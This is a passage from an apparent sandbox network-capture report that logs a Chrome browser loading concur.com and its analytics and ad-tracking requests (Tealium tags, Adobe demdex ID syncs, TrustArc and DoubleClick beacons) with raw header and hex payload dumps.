3d 3d 75 6e 64 65 66 69 6e 65 64 29 7b 75 2e 6c 6f 61 64 65 72 3d Data Ascii: //tealium universal tag - utag.1197 ut4.0.202409261710, Copyright 2024 Tealium.com Inc. All Rights Reserved.try{(function(id,loader){var u={"id":id};utag.o[loader].sender[id]=u;if(utag.ut===undefined){utag.ut={};}if(utag.ut.loader===undefined){u.loader=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
75	192.168.2.4	49932	13.224.189.92	443	8056	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 08:41:40 UTC	771	OUT	GET /bannermsg?action=views&domain=concur.com&behavior=implied&country=us&language=en&rand=0.7051099829792011&session=35975d78-a390-494d-9ef0-cf4dd61f5a47&userType=NEW&referer=https://www.concur.com HTTP/1.1 Host: consent.trustarc.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.concur.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-03 08:41:40 UTC	540	IN	HTTP/1.1 200 OK Content-Type: image/gif Content-Length: 43 Connection: close Date: Thu, 03 Oct 2024 08:41:40 GMT Cache-Control: private, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Expires: Mon, 26 Jul 1997 05:00:00 GMT X-Cache: Miss from cloudfront Via: 1.1 24c299c0a6423c6f96984a85fb014108.cloudfront.net (CloudFront) X-Amz-Cf-Pop: FRA2-C1 X-Amz-Cf-Id: duG2j4IQnvmXQtfxbYpxIvmwN6Tcbj5gpZ9rb9dzuWA8cPP1j7w4Vg== Strict-Transport-Security: max-age=31536000; includeSubDomains Vary: Origin
2024-10-03 08:41:40 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 db df ef 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
76	192.168.2.4	49935	46.137.24.228	443	8056	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 08:41:40 UTC	911	OUT	GET /ibs:dpid=79908&dpuuid=Zv5YxMr7bME0JQVxqlPDhBNP HTTP/1.1 Host: dpm.demdex.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://concur.demdex.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: demdex=77063524538646072271479213259445098681; dpm=77063524538646072271479213259445098681; dextp=21-1-1727944890685\|60-1-1727944891394\|601-1-1727944893275\|771-1-1727944893404\|903-1-1727944894402\|22052-1-1727944895926\|30064-1-1727944896405\|575-1-1727944897401\|79908-1-1727944898547
2024-10-03 08:41:41 UTC	892	IN	HTTP/1.1 200 OK Date: Thu, 03 Oct 2024 08:41:40 GMT Content-Type: image/gif Content-Length: 42 Connection: close X-TID: ExpqUxzITFw= Strict-Transport-Security: max-age=31536000; includeSubDomains Cache-Control: no-cache,no-store,must-revalidate,max-age=0,proxy-revalidate,no-transform,private Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 UTC P3P: policyref="/w3c/p3p.xml", CP="NOI NID CURa ADMa DEVa PSAa PSDa OUR SAMa BUS PUR COM NAV INT" X-Content-Type-Options: nosniff DCS: dcs-prod-irl1-2-v065-0d963267a.edge-irl1.demdex.com 41 ms set-cookie: dpm=77063524538646072271479213259445098681; Max-Age=15552000; Expires=Tue, 01 Apr 2025 08:41:40 GMT; Path=/; Domain=.dpm.demdex.net; Secure; SameSite=None set-cookie: demdex=77063524538646072271479213259445098681; Max-Age=15552000; Expires=Tue, 01 Apr 2025 08:41:40 GMT; Path=/; Domain=.demdex.net; Secure; SameSite=None
2024-10-03 08:41:41 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 01 44 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
77	192.168.2.4	49937	52.31.23.243	443	8056	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 08:41:40 UTC	690	OUT	GET /ibs:dpid=575&dpuuid=9033076558488683385 HTTP/1.1 Host: dpm.demdex.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: demdex=77063524538646072271479213259445098681; dpm=77063524538646072271479213259445098681; dextp=21-1-1727944890685\|60-1-1727944891394\|601-1-1727944893275\|771-1-1727944893404\|903-1-1727944894402\|22052-1-1727944895926\|30064-1-1727944896405\|575-1-1727944897401\|79908-1-1727944898547\|121998-1-1727944899411
2024-10-03 08:41:41 UTC	891	IN	HTTP/1.1 200 OK Date: Thu, 03 Oct 2024 08:41:41 GMT Content-Type: image/gif Content-Length: 42 Connection: close X-TID: nhmihGkwQ34= Strict-Transport-Security: max-age=31536000; includeSubDomains Cache-Control: no-cache,no-store,must-revalidate,max-age=0,proxy-revalidate,no-transform,private Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 UTC P3P: policyref="/w3c/p3p.xml", CP="NOI NID CURa ADMa DEVa PSAa PSDa OUR SAMa BUS PUR COM NAV INT" X-Content-Type-Options: nosniff DCS: dcs-prod-irl1-1-v065-0bb83f9ea.edge-irl1.demdex.com 5 ms set-cookie: dpm=77063524538646072271479213259445098681; Max-Age=15552000; Expires=Tue, 01 Apr 2025 08:41:41 GMT; Path=/; Domain=.dpm.demdex.net; Secure; SameSite=None set-cookie: demdex=77063524538646072271479213259445098681; Max-Age=15552000; Expires=Tue, 01 Apr 2025 08:41:41 GMT; Path=/; Domain=.demdex.net; Secure; SameSite=None
2024-10-03 08:41:41 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 01 44 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
78	192.168.2.4	49939	52.31.23.243	443	8056	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 08:41:40 UTC	691	OUT	GET /ibs:dpid=30064&dpuuid=%7BUUID_6j5b2cv%7D HTTP/1.1 Host: dpm.demdex.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: demdex=77063524538646072271479213259445098681; dpm=77063524538646072271479213259445098681; dextp=21-1-1727944890685\|60-1-1727944891394\|601-1-1727944893275\|771-1-1727944893404\|903-1-1727944894402\|22052-1-1727944895926\|30064-1-1727944896405\|575-1-1727944897401\|79908-1-1727944898547\|121998-1-1727944899411
2024-10-03 08:41:41 UTC	909	IN	HTTP/1.1 200 OK Date: Thu, 03 Oct 2024 08:41:41 GMT Content-Type: image/gif Content-Length: 42 Connection: close X-TID: tS3mpJvRTQo= Strict-Transport-Security: max-age=31536000; includeSubDomains Cache-Control: no-cache,no-store,must-revalidate,max-age=0,proxy-revalidate,no-transform,private Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 UTC P3P: policyref="/w3c/p3p.xml", CP="NOI NID CURa ADMa DEVa PSAa PSDa OUR SAMa BUS PUR COM NAV INT" X-Error: 104,303 X-Content-Type-Options: nosniff DCS: dcs-prod-irl1-1-v065-09a5ea745.edge-irl1.demdex.com 1 ms set-cookie: dpm=77063524538646072271479213259445098681; Max-Age=15552000; Expires=Tue, 01 Apr 2025 08:41:41 GMT; Path=/; Domain=.dpm.demdex.net; Secure; SameSite=None set-cookie: demdex=77063524538646072271479213259445098681; Max-Age=15552000; Expires=Tue, 01 Apr 2025 08:41:41 GMT; Path=/; Domain=.demdex.net; Secure; SameSite=None
2024-10-03 08:41:41 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 01 44 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
79	192.168.2.4	49938	13.33.187.116	443	8056	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 08:41:40 UTC	573	OUT	GET /utag/concur/concur/prod/utag.1200.js?utv=ut4.39.202303281945 HTTP/1.1 Host: tags.tiqcdn.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.concur.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-03 08:41:41 UTC	612	IN	HTTP/1.1 200 OK Content-Type: application/javascript Content-Length: 11706 Connection: close Last-Modified: Thu, 26 Sep 2024 17:12:53 GMT x-amz-server-side-encryption: AES256 x-amz-version-id: pxJZVj5_rYZOXvREMafvWsECsOh.qNQ6 Accept-Ranges: bytes Server: AmazonS3 Date: Thu, 03 Oct 2024 08:41:42 GMT ETag: "4757bb05b2d753448c5af02778bc8fab" Vary: Accept-Encoding X-Cache: RefreshHit from cloudfront Via: 1.1 6b284415724869adc9db63c19e48e420.cloudfront.net (CloudFront) X-Amz-Cf-Pop: FRA60-P9 X-Amz-Cf-Id: -MpR2EV9HJxfKHil655RZwKlNb4Z_zLZkP-qXR_-PIlfLxmrGZm7yQ== Cache-Control: max-age=1296000
2024-10-03 08:41:41 UTC	11706	IN	Data Raw: 2f 2f 74 65 61 6c 69 75 6d 20 75 6e 69 76 65 72 73 61 6c 20 74 61 67 20 2d 20 75 74 61 67 2e 31 32 30 30 20 75 74 34 2e 30 2e 32 30 32 34 30 39 32 36 31 37 31 30 2c 20 43 6f 70 79 72 69 67 68 74 20 32 30 32 34 20 54 65 61 6c 69 75 6d 2e 63 6f 6d 20 49 6e 63 2e 20 41 6c 6c 20 52 69 67 68 74 73 20 52 65 73 65 72 76 65 64 2e 0a 74 72 79 7b 28 66 75 6e 63 74 69 6f 6e 28 69 64 2c 6c 6f 61 64 65 72 29 7b 76 61 72 20 75 3d 7b 22 69 64 22 3a 69 64 7d 3b 75 74 61 67 2e 6f 5b 6c 6f 61 64 65 72 5d 2e 73 65 6e 64 65 72 5b 69 64 5d 3d 75 3b 69 66 28 75 74 61 67 2e 75 74 3d 3d 3d 75 6e 64 65 66 69 6e 65 64 29 7b 75 74 61 67 2e 75 74 3d 7b 7d 3b 7d 0a 76 61 72 20 6d 61 74 63 68 3d 2f 75 74 5c 64 5c 2e 28 5c 64 2a 29 5c 2e 2e 2a 2f 2e 65 78 65 63 28 75 74 61 67 2e 63 66 Data Ascii: //tealium universal tag - utag.1200 ut4.0.202409261710, Copyright 2024 Tealium.com Inc. All Rights Reserved.try{(function(id,loader){var u={"id":id};utag.o[loader].sender[id]=u;if(utag.ut===undefined){utag.ut={};}var match=/ut\d\.(\d)\../.exec(utag.cf

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
80	192.168.2.4	49941	142.250.185.70	443	8056	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 08:41:40 UTC	934	OUT	GET /activityi;src=9504840;type=pagev0;cat=homep0;ord=1246699449049.1533? HTTP/1.1 Host: 9504840.fls.doubleclick.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://www.concur.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: IDE=AHWqTUmwMnQE6gopMh9bjnND9Ilv9wncBgeJD4FZoI8ES3xvryYs1FhrrVJ3MXxJ7Uk
2024-10-03 08:41:41 UTC	825	IN	HTTP/1.1 302 Found P3P: policyref="https://googleads.g.doubleclick.net/pagead/gcn_p3p_.xml", CP="CURa ADMa DEVa TAIo PSAo PSDo OUR IND UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Timing-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Date: Thu, 03 Oct 2024 08:41:41 GMT Pragma: no-cache Expires: Fri, 01 Jan 1990 00:00:00 GMT Cache-Control: no-cache, must-revalidate Follow-Only-When-Prerender-Shown: 1 Strict-Transport-Security: max-age=21600 Location: https://9504840.fls.doubleclick.net/activityi;dc_pre=CO2zmbDo8YgDFT2O_Qcd2rk2QQ;src=9504840;type=pagev0;cat=homep0;ord=1246699449049.1533? Content-Type: text/html; charset=UTF-8 X-Content-Type-Options: nosniff Server: cafe Content-Length: 0 X-XSS-Protection: 0 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
81	192.168.2.4	49940	13.33.187.116	443	8056	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 08:41:41 UTC	573	OUT	GET /utag/concur/concur/prod/utag.1206.js?utv=ut4.39.202206021450 HTTP/1.1 Host: tags.tiqcdn.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.concur.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-03 08:41:41 UTC	612	IN	HTTP/1.1 200 OK Content-Type: application/javascript Content-Length: 11349 Connection: close Last-Modified: Thu, 26 Sep 2024 17:13:36 GMT x-amz-server-side-encryption: AES256 x-amz-version-id: 4N_LmiMm28Rg3GOJjizXBUS_Yeql.91g Accept-Ranges: bytes Server: AmazonS3 Date: Thu, 03 Oct 2024 08:41:42 GMT ETag: "716510f3cb56bfe3ff71a95af11fb9ef" Vary: Accept-Encoding X-Cache: RefreshHit from cloudfront Via: 1.1 de048058a16d8205bfbc06a8f2eefb34.cloudfront.net (CloudFront) X-Amz-Cf-Pop: FRA60-P9 X-Amz-Cf-Id: egNpBhVXxXidXWyyNwu2Nr4JefsP3L4JYXmzL55HmaMEcHWt7o7RAg== Cache-Control: max-age=1296000
2024-10-03 08:41:41 UTC	11349	IN	Data Raw: 2f 2f 74 65 61 6c 69 75 6d 20 75 6e 69 76 65 72 73 61 6c 20 74 61 67 20 2d 20 75 74 61 67 2e 31 32 30 36 20 75 74 34 2e 30 2e 32 30 32 34 30 39 32 36 31 37 31 30 2c 20 43 6f 70 79 72 69 67 68 74 20 32 30 32 34 20 54 65 61 6c 69 75 6d 2e 63 6f 6d 20 49 6e 63 2e 20 41 6c 6c 20 52 69 67 68 74 73 20 52 65 73 65 72 76 65 64 2e 0a 74 72 79 7b 28 66 75 6e 63 74 69 6f 6e 28 69 64 2c 6c 6f 61 64 65 72 29 7b 76 61 72 20 75 3d 7b 22 69 64 22 3a 69 64 7d 3b 75 74 61 67 2e 6f 5b 6c 6f 61 64 65 72 5d 2e 73 65 6e 64 65 72 5b 69 64 5d 3d 75 3b 69 66 28 75 74 61 67 2e 75 74 3d 3d 3d 75 6e 64 65 66 69 6e 65 64 29 7b 75 74 61 67 2e 75 74 3d 7b 7d 3b 7d 0a 76 61 72 20 6d 61 74 63 68 3d 2f 75 74 5c 64 5c 2e 28 5c 64 2a 29 5c 2e 2e 2a 2f 2e 65 78 65 63 28 75 74 61 67 2e 63 66 Data Ascii: //tealium universal tag - utag.1206 ut4.0.202409261710, Copyright 2024 Tealium.com Inc. All Rights Reserved.try{(function(id,loader){var u={"id":id};utag.o[loader].sender[id]=u;if(utag.ut===undefined){utag.ut={};}var match=/ut\d\.(\d)\../.exec(utag.cf

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
82	192.168.2.4	49942	13.33.187.60	443	8056	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 08:41:41 UTC	399	OUT	GET /utag/concur/concur/prod/utag.1147.js?utv=ut4.39.202104222333 HTTP/1.1 Host: tags.tiqcdn.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-03 08:41:41 UTC	612	IN	HTTP/1.1 200 OK Content-Type: application/javascript Content-Length: 3090 Connection: close Date: Thu, 03 Oct 2024 08:41:41 GMT Last-Modified: Thu, 26 Sep 2024 17:13:14 GMT ETag: "38bd3ef7b0ce39fc2a7c87a6d93b477c" x-amz-server-side-encryption: AES256 x-amz-version-id: FTN4AiQVgZTPTi5XgvFDv0kO1fwsHXs6 Accept-Ranges: bytes Server: AmazonS3 Vary: Accept-Encoding X-Cache: Hit from cloudfront Via: 1.1 45e3ccd889272a7e8732f0eda13e87ca.cloudfront.net (CloudFront) X-Amz-Cf-Pop: FRA60-P9 X-Amz-Cf-Id: M__bokrQ1GWsBnL14TBOMs-a8tjYvuIB6zJblqjqbI8nZQLv-QIk_A== Age: 1 Cache-Control: max-age=1296000
2024-10-03 08:41:41 UTC	3090	IN	Data Raw: 2f 2f 74 65 61 6c 69 75 6d 20 75 6e 69 76 65 72 73 61 6c 20 74 61 67 20 2d 20 75 74 61 67 2e 31 31 34 37 20 75 74 34 2e 30 2e 32 30 32 34 30 39 32 36 31 37 31 30 2c 20 43 6f 70 79 72 69 67 68 74 20 32 30 32 34 20 54 65 61 6c 69 75 6d 2e 63 6f 6d 20 49 6e 63 2e 20 41 6c 6c 20 52 69 67 68 74 73 20 52 65 73 65 72 76 65 64 2e 0a 74 72 79 7b 28 66 75 6e 63 74 69 6f 6e 28 69 64 2c 6c 6f 61 64 65 72 29 7b 76 61 72 20 75 3d 7b 22 69 64 22 3a 69 64 7d 3b 75 74 61 67 2e 6f 5b 6c 6f 61 64 65 72 5d 2e 73 65 6e 64 65 72 5b 69 64 5d 3d 75 3b 69 66 28 75 74 61 67 2e 75 74 3d 3d 3d 75 6e 64 65 66 69 6e 65 64 29 7b 75 74 61 67 2e 75 74 3d 7b 7d 3b 7d 0a 76 61 72 20 6d 61 74 63 68 3d 2f 75 74 5c 64 5c 2e 28 5c 64 2a 29 5c 2e 2e 2a 2f 2e 65 78 65 63 28 75 74 61 67 2e 63 66 Data Ascii: //tealium universal tag - utag.1147 ut4.0.202409261710, Copyright 2024 Tealium.com Inc. All Rights Reserved.try{(function(id,loader){var u={"id":id};utag.o[loader].sender[id]=u;if(utag.ut===undefined){utag.ut={};}var match=/ut\d\.(\d)\../.exec(utag.cf

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
83	192.168.2.4	49943	13.33.187.60	443	8056	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 08:41:41 UTC	399	OUT	GET /utag/concur/concur/prod/utag.1181.js?utv=ut4.39.202110112035 HTTP/1.1 Host: tags.tiqcdn.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-03 08:41:41 UTC	612	IN	HTTP/1.1 200 OK Content-Type: application/javascript Content-Length: 3958 Connection: close Date: Thu, 03 Oct 2024 08:41:41 GMT Last-Modified: Thu, 26 Sep 2024 17:13:18 GMT ETag: "c4263a60b364d9625de67fb75e0eb608" x-amz-server-side-encryption: AES256 x-amz-version-id: nRRa5yOQd6SzIV0B1wvCBCRyiCl2vscV Accept-Ranges: bytes Server: AmazonS3 Vary: Accept-Encoding X-Cache: Hit from cloudfront Via: 1.1 840e16b680c94fee8c48b15e01dda782.cloudfront.net (CloudFront) X-Amz-Cf-Pop: FRA60-P9 X-Amz-Cf-Id: a7fKcE94Vk4F9qFTYOr58FB2zECdshk8-ukiFQitPBPke8ddWDvNUw== Age: 1 Cache-Control: max-age=1296000
2024-10-03 08:41:41 UTC	3958	IN	Data Raw: 2f 2f 74 65 61 6c 69 75 6d 20 75 6e 69 76 65 72 73 61 6c 20 74 61 67 20 2d 20 75 74 61 67 2e 31 31 38 31 20 75 74 34 2e 30 2e 32 30 32 34 30 39 32 36 31 37 31 30 2c 20 43 6f 70 79 72 69 67 68 74 20 32 30 32 34 20 54 65 61 6c 69 75 6d 2e 63 6f 6d 20 49 6e 63 2e 20 41 6c 6c 20 52 69 67 68 74 73 20 52 65 73 65 72 76 65 64 2e 0a 74 72 79 7b 28 66 75 6e 63 74 69 6f 6e 28 69 64 2c 6c 6f 61 64 65 72 29 7b 76 61 72 20 75 3d 7b 7d 3b 75 74 61 67 2e 6f 5b 6c 6f 61 64 65 72 5d 2e 73 65 6e 64 65 72 5b 69 64 5d 3d 75 3b 69 66 28 75 74 61 67 2e 75 74 3d 3d 3d 75 6e 64 65 66 69 6e 65 64 29 7b 75 74 61 67 2e 75 74 3d 7b 7d 3b 7d 69 66 28 75 74 61 67 2e 75 74 2e 6c 6f 61 64 65 72 3d 3d 3d 75 6e 64 65 66 69 6e 65 64 29 7b 75 2e 6c 6f 61 64 65 72 3d 66 75 6e 63 74 69 6f 6e Data Ascii: //tealium universal tag - utag.1181 ut4.0.202409261710, Copyright 2024 Tealium.com Inc. All Rights Reserved.try{(function(id,loader){var u={};utag.o[loader].sender[id]=u;if(utag.ut===undefined){utag.ut={};}if(utag.ut.loader===undefined){u.loader=function

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
84	192.168.2.4	49936	34.251.185.45	443	8056	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 08:41:41 UTC	738	OUT	GET /map/c=9828/tp=ADBE/gdpr=0/gdpr_consent=/tpid=77063524538646072271479213259445098681?https%3A%2F%2Fdpm.demdex.net%2Fibs%3Adpid%3D121998%26dpuuid%3D${profile_id} HTTP/1.1 Host: sync.crwdcntrl.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://concur.demdex.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-03 08:41:41 UTC	537	IN	HTTP/1.1 302 Found Date: Thu, 03 Oct 2024 08:41:41 GMT Content-Length: 0 Connection: close P3P: CP=NOI DSP COR NID PSAa PSDa OUR UNI COM NAV Cache-Control: no-cache Pragma: no-cache Expires: 0 X-Server: 10.45.18.137 Set-Cookie: _cc_cc=ctst;Path=/;Domain=crwdcntrl.net;SameSite=None;Secure Location: https://sync.crwdcntrl.net/map/ct=y/c=9828/tp=ADBE/gdpr=0/gdpr_consent=/tpid=77063524538646072271479213259445098681?https%3A%2F%2Fdpm.demdex.net%2Fibs%3Adpid%3D121998%26dpuuid%3D${profile_id} Server: Jetty(9.4.38.v20210224)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
85	192.168.2.4	49944	13.33.187.116	443	8056	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 08:41:41 UTC	573	OUT	GET /utag/concur/concur/prod/utag.1217.js?utv=ut4.39.202206021450 HTTP/1.1 Host: tags.tiqcdn.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.concur.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-03 08:41:41 UTC	612	IN	HTTP/1.1 200 OK Content-Type: application/javascript Content-Length: 11349 Connection: close Last-Modified: Thu, 26 Sep 2024 17:13:58 GMT x-amz-server-side-encryption: AES256 x-amz-version-id: Anl.A4Cfegm3nMc3ZUIlyg4d7cEBd63K Accept-Ranges: bytes Server: AmazonS3 Date: Thu, 03 Oct 2024 08:41:42 GMT ETag: "b0dba62c77877092bd3fc4640c69f3a0" Vary: Accept-Encoding X-Cache: RefreshHit from cloudfront Via: 1.1 7a0989f96d7fa4864ba49c5b0d586bb2.cloudfront.net (CloudFront) X-Amz-Cf-Pop: FRA60-P9 X-Amz-Cf-Id: hA0TbxSuB11lp8uYjUsc_8RI-Mm7QPoWxLGyQT-6hXlqFBZVLV-9dg== Cache-Control: max-age=1296000
2024-10-03 08:41:41 UTC	11349	IN	Data Raw: 2f 2f 74 65 61 6c 69 75 6d 20 75 6e 69 76 65 72 73 61 6c 20 74 61 67 20 2d 20 75 74 61 67 2e 31 32 31 37 20 75 74 34 2e 30 2e 32 30 32 34 30 39 32 36 31 37 31 30 2c 20 43 6f 70 79 72 69 67 68 74 20 32 30 32 34 20 54 65 61 6c 69 75 6d 2e 63 6f 6d 20 49 6e 63 2e 20 41 6c 6c 20 52 69 67 68 74 73 20 52 65 73 65 72 76 65 64 2e 0a 74 72 79 7b 28 66 75 6e 63 74 69 6f 6e 28 69 64 2c 6c 6f 61 64 65 72 29 7b 76 61 72 20 75 3d 7b 22 69 64 22 3a 69 64 7d 3b 75 74 61 67 2e 6f 5b 6c 6f 61 64 65 72 5d 2e 73 65 6e 64 65 72 5b 69 64 5d 3d 75 3b 69 66 28 75 74 61 67 2e 75 74 3d 3d 3d 75 6e 64 65 66 69 6e 65 64 29 7b 75 74 61 67 2e 75 74 3d 7b 7d 3b 7d 0a 76 61 72 20 6d 61 74 63 68 3d 2f 75 74 5c 64 5c 2e 28 5c 64 2a 29 5c 2e 2e 2a 2f 2e 65 78 65 63 28 75 74 61 67 2e 63 66 Data Ascii: //tealium universal tag - utag.1217 ut4.0.202409261710, Copyright 2024 Tealium.com Inc. All Rights Reserved.try{(function(id,loader){var u={"id":id};utag.o[loader].sender[id]=u;if(utag.ut===undefined){utag.ut={};}var match=/ut\d\.(\d)\../.exec(utag.cf

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
86	192.168.2.4	49945	13.33.187.116	443	8056	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
